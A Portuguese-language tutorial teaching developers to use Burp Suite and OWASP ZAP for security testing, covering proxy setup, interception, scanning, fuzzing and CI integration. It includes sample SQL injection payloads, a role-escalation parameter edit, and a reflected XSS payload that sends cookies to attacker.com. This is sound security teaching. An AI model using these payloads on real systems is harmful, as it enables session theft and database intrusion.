Ferramentas de pentest: Burp Suite, OWASP ZAP
1. Introdução às ferramentas de pentest para desenvolvedores
Desenvolvedores frequentemente enxergam segurança como uma etapa posterior ao desenvolvimento, mas a realidade é que vulnerabilidades descobertas em produção custam de 10 a 100 vezes mais para corrigir do que aquelas encontradas durante a codificação. Dominar ferramentas de pentest permite que você identifique falhas antes que elas cheguem aos ambientes de staging ou produção.
É importante entender a diferença entre as abordagens:
- SAST (Static Application Security Testing): analisa o código-fonte sem executá-lo (ex: SonarQube, Semgrep)
- DAST (Dynamic Application Security Testing): testa a aplicação em execução, como um invasor faria (ex: Burp Suite, OWASP ZAP)
- Pentest manual: intervenção humana para explorar lógicas de negócio e vulnerabilidades complexas
Burp Suite e OWASP ZAP são as ferramentas DAST mais populares. O Burp Suite Community Edition é gratuito com funcionalidades limitadas, enquanto a versão Professional (paga) oferece scanner avançado e ferramentas como o Intruder sem throttling. O OWASP ZAP é totalmente open-source e mantido pela comunidade OWASP, sendo ideal para equipes com orçamento restrito.
2. Configuração do ambiente de testes
Instalação do Burp Suite Community Edition
Baixe o instalador em portswigger.net. Após a instalação, configure o proxy local:
1. Abra o Burp Suite e vá em Proxy > Proxy Settings
2. Adicione um listener na porta 8080 (padrão), endereço 127.0.0.1
3. Marque "Support invisible proxying" para aplicações que não respeitam proxy do sistema
4. No navegador, configure o proxy manual: HTTP/HTTPS -> 127.0.0.1:8080
5. Acesse http://burpsuite e baixe o certificado CA para interceptar HTTPS
Instalação do OWASP ZAP
Disponível em zaproxy.org. A configuração é similar:
1. Execute o ZAP e aceite o certificado padrão
2. Vá em Tools > Options > Local Proxies
3. Verifique se o listener está em 127.0.0.1:8080 (padrão)
4. Para interceptar HTTPS, vá em Tools > Options > Dynamic SSL Certificates
5. Clique em "Save" e importe o certificado no navegador como autoridade de certificação confiável
3. Interceptação e manipulação de tráfego HTTP/HTTPS
Interceptando requisições
No Burp Suite, a interceptação é controlada pelo botão "Intercept is on/off" na aba Proxy. Quando ativada, cada requisição é pausada para edição.
No OWASP ZAP, o recurso equivalente são os "Breakpoints". Clique no botão verde "Set Break on All Requests and Responses" ou pressione Ctrl+B.
Modificando parâmetros em tempo real
Exemplo prático: alterar o parâmetro role de user para admin em uma requisição de login:
Requisição original (Burp Suite):
POST /api/login HTTP/1.1
Host: exemplo.com
Cookie: session=abc123
username=joao&password=123&role=user
Após modificação manual no Proxy:
POST /api/login HTTP/1.1
Host: exemplo.com
Cookie: session=abc123
username=joao&password=123&role=admin
Replay de requisições
No Burp Suite, clique com botão direito na requisição desejada (History) e selecione "Send to Repeater". No ZAP, use "Resend" no menu de contexto da aba History.
4. Scanner de vulnerabilidades automatizado
Varredura ativa no Burp Suite
Com a versão Community, o scanner ativo é limitado. Use a abordagem manual com Intruder:
1. Envie a requisição para Intruder (Ctrl+I)
2. Configure payload positions nos parâmetros desejados
3. Use payload lists como "Fuzzing - XSS" ou "SQL Injection" do próprio Burp
4. Analise as respostas por diferenças de tamanho, status code ou palavras-chave
Varredura automática no OWASP ZAP
O ZAP oferece scanner completo gratuitamente:
1. Clique com botão direito na aba Sites e selecione "Attack > Active Scan"
2. Configure o escopo: URL base e parâmetros a testar
3. Marque "Handle anti-CSRF tokens" se aplicável
4. Execute e aguarde a conclusão (pode levar minutos)
5. Analise os alertas em "Alerts" tab, ordenando por severidade
Interpretação de alertas
Falsos positivos são comuns. Exemplo de alerta no ZAP:
Alerta: SQL Injection - Time-based
URL: http://exemplo.com/produto?id=1
Evidência: Resposta levou 5 segundos com payload ' OR SLEEP(5) --
Severidade: Alta
Ação: Verificar manualmente se o atraso foi causado pela injeção ou por latência de rede
5. Testes manuais de segurança com ferramentas auxiliares
Sequenciador de requisições (Burp Sequencer)
Para analisar a aleatoriedade de tokens CSRF:
1. Capture uma requisição que contenha o token CSRF
2. Envie para Sequencer (Ctrl+Shift+S)
3. Selecione o token como "Token Location"
4. Execute a coleta (pelo menos 200 amostras)
5. Analise o relatório de entropia: valores abaixo de 0.5 indicam previsibilidade
Fuzzing com Intruder (Burp) e Fuzzer (ZAP)
Testando SQL Injection em um parâmetro id:
Payloads comuns para Intruder:
1' OR '1'='1
1' AND 1=1--
1' UNION SELECT NULL--
1' WAITFOR DELAY '0:0:5'--
No ZAP, use o Fuzzer via "Tools > Fuzzer" ou clique com botão direito > "Fuzz".
Decodificação e codificação
No Burp Suite, use a aba "Decoder" para converter payloads:
Input: <script>alert('XSS')</script>
URL-encoded: %3Cscript%3Ealert(%27XSS%27)%3C%2Fscript%3E
Base64: PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=
6. Integração com pipelines de desenvolvimento
Automação via CLI com ZAP Headless
Exemplo de comando para varredura automatizada:
zap.sh -cmd -quickurl http://localhost:3000 -quickprogress -quickout relatorio.html
Para integração com GitHub Actions:
name: ZAP Scan
on: [push]
jobs:
zap_scan:
runs-on: ubuntu-latest
steps:
- name: ZAP Scan
uses: zaproxy/action-full-scan@v0.10.0
with:
target: 'http://localhost:3000'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'
Exportação de relatórios
Burp Suite Professional permite exportar em HTML, XML e JSON. No ZAP:
1. Vá em Report > Generate Report
2. Selecione o template (HTML clássico, XML, JSON)
3. Defina o escopo: "Only include alerts in scope"
4. Salve o arquivo para compartilhar com o time
Redução de ruído com escopos
No Burp Suite, configure "Target > Scope" para incluir apenas URLs relevantes. No ZAP, use "Contexts" para definir exclusões:
Contexto: "Aplicacao_Interna"
Incluir: http://app.exemplo.com/*
Excluir: http://app.exemplo.com/logout
Excluir: http://app.exemplo.com/healthcheck
7. Casos práticos: SQL Injection e XSS com as ferramentas
Identificando SQL Injection
Cenário: formulário de busca de produtos com parâmetro q.
Com o Intruder (Burp):
Payload testado: ' OR '1'='1
Resposta original: 200 OK, 15 resultados
Resposta com payload: 200 OK, 250 resultados (todos os produtos)
Conclusão: Possível SQL Injection confirmada
Com o Fuzzer (ZAP):
Payload testado: ' UNION SELECT null,null,null--
Resposta: 500 Internal Server Error com mensagem "Column count mismatch"
Conclusão: Número de colunas identificado, prosseguir com UNION SELECT
Detectando XSS refletido
Cenário: página de erro que reflete o parâmetro msg.
Interceptação com Burp:
Requisição original:
GET /error?msg=Pagina+nao+encontrada HTTP/1.1
Payload XSS:
GET /error?msg=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> HTTP/1.1
Resposta (inspecionada no Repeater):
<div class="erro"><script>document.location='http://attacker.com/steal?cookie='+document.cookie</script></div>
Comparação de resultados
Ambas as ferramentas detectaram SQL Injection e XSS, mas o ZAP gerou mais falsos positivos (5 vs 2 no Burp). O Burp Suite ofereceu maior precisão nos alertas de alta severidade, enquanto o ZAP se destacou na cobertura de endpoints (mapeou 30 páginas a mais com o Spider).
8. Boas práticas e limitações para desenvolvedores
Quando usar cada ferramenta
- OWASP ZAP: equipes pequenas, orçamento zero, CI/CD automatizado, projetos open-source
- Burp Suite Professional: equipes maduras, testes manuais aprofundados, necessidade de relatórios profissionais
- Burp Suite Community: aprendizado e testes pontuais, mas com limitações severas no scanner
Limitações importantes
- Varreduras cegas: ferramentas DAST não detectam vulnerabilidades em funcionalidades que exigem múltiplas etapas (ex: fluxo de compra completo)
- Autenticação complexa: OAuth2, SAML e SSO podem exigir configuração manual de sessões
- Lógica de negócio: descontos indevidos, limites de rate não são detectados por scanners automáticos
Checklist pós-pentest
1. Corrigir vulnerabilidades críticas em até 48 horas
2. Reexecutar varredura focada nos endpoints corrigidos
3. Documentar falsos positivos para evitar retrabalho
4. Atualizar regras de exclusão no ZAP/Burp
5. Revisar logs de autenticação para detectar tentativas de exploração
6. Agendar nova varredura completa após deploy da correção
Dominar Burp Suite e OWASP ZAP não substitui um pentest profissional, mas capacita desenvolvedores a identificar e corrigir vulnerabilidades comuns antes que se tornem problemas de produção. Invista tempo em aprender os recursos manuais de cada ferramenta — o scanner automático é apenas o começo.
Referências
- PortSwigger - Documentação Oficial do Burp Suite — Guia completo de todas as funcionalidades do Burp Suite, incluindo Proxy, Repeater e Intruder
- OWASP ZAP - Documentação Oficial — Manual de instalação, configuração e uso do ZAP, com exemplos de automação
- OWASP - Testing Guide (WSTG) — Metodologia completa de testes de segurança web, compatível com Burp e ZAP
- PortSwigger - Web Security Academy — Laboratórios práticos gratuitos para aprender pentest com Burp Suite
- ZAP - GitHub Actions Integration — Repositório oficial com exemplos de integração do ZAP em pipelines CI/CD
- Burp Suite vs OWASP ZAP: Comparativo Técnico — Análise detalhada das diferenças entre as ferramentas para diferentes cenários de uso
- OWASP ZAP - Fuzzer Documentation — Guia de uso do Fuzzer do ZAP para testes de injeção e brute force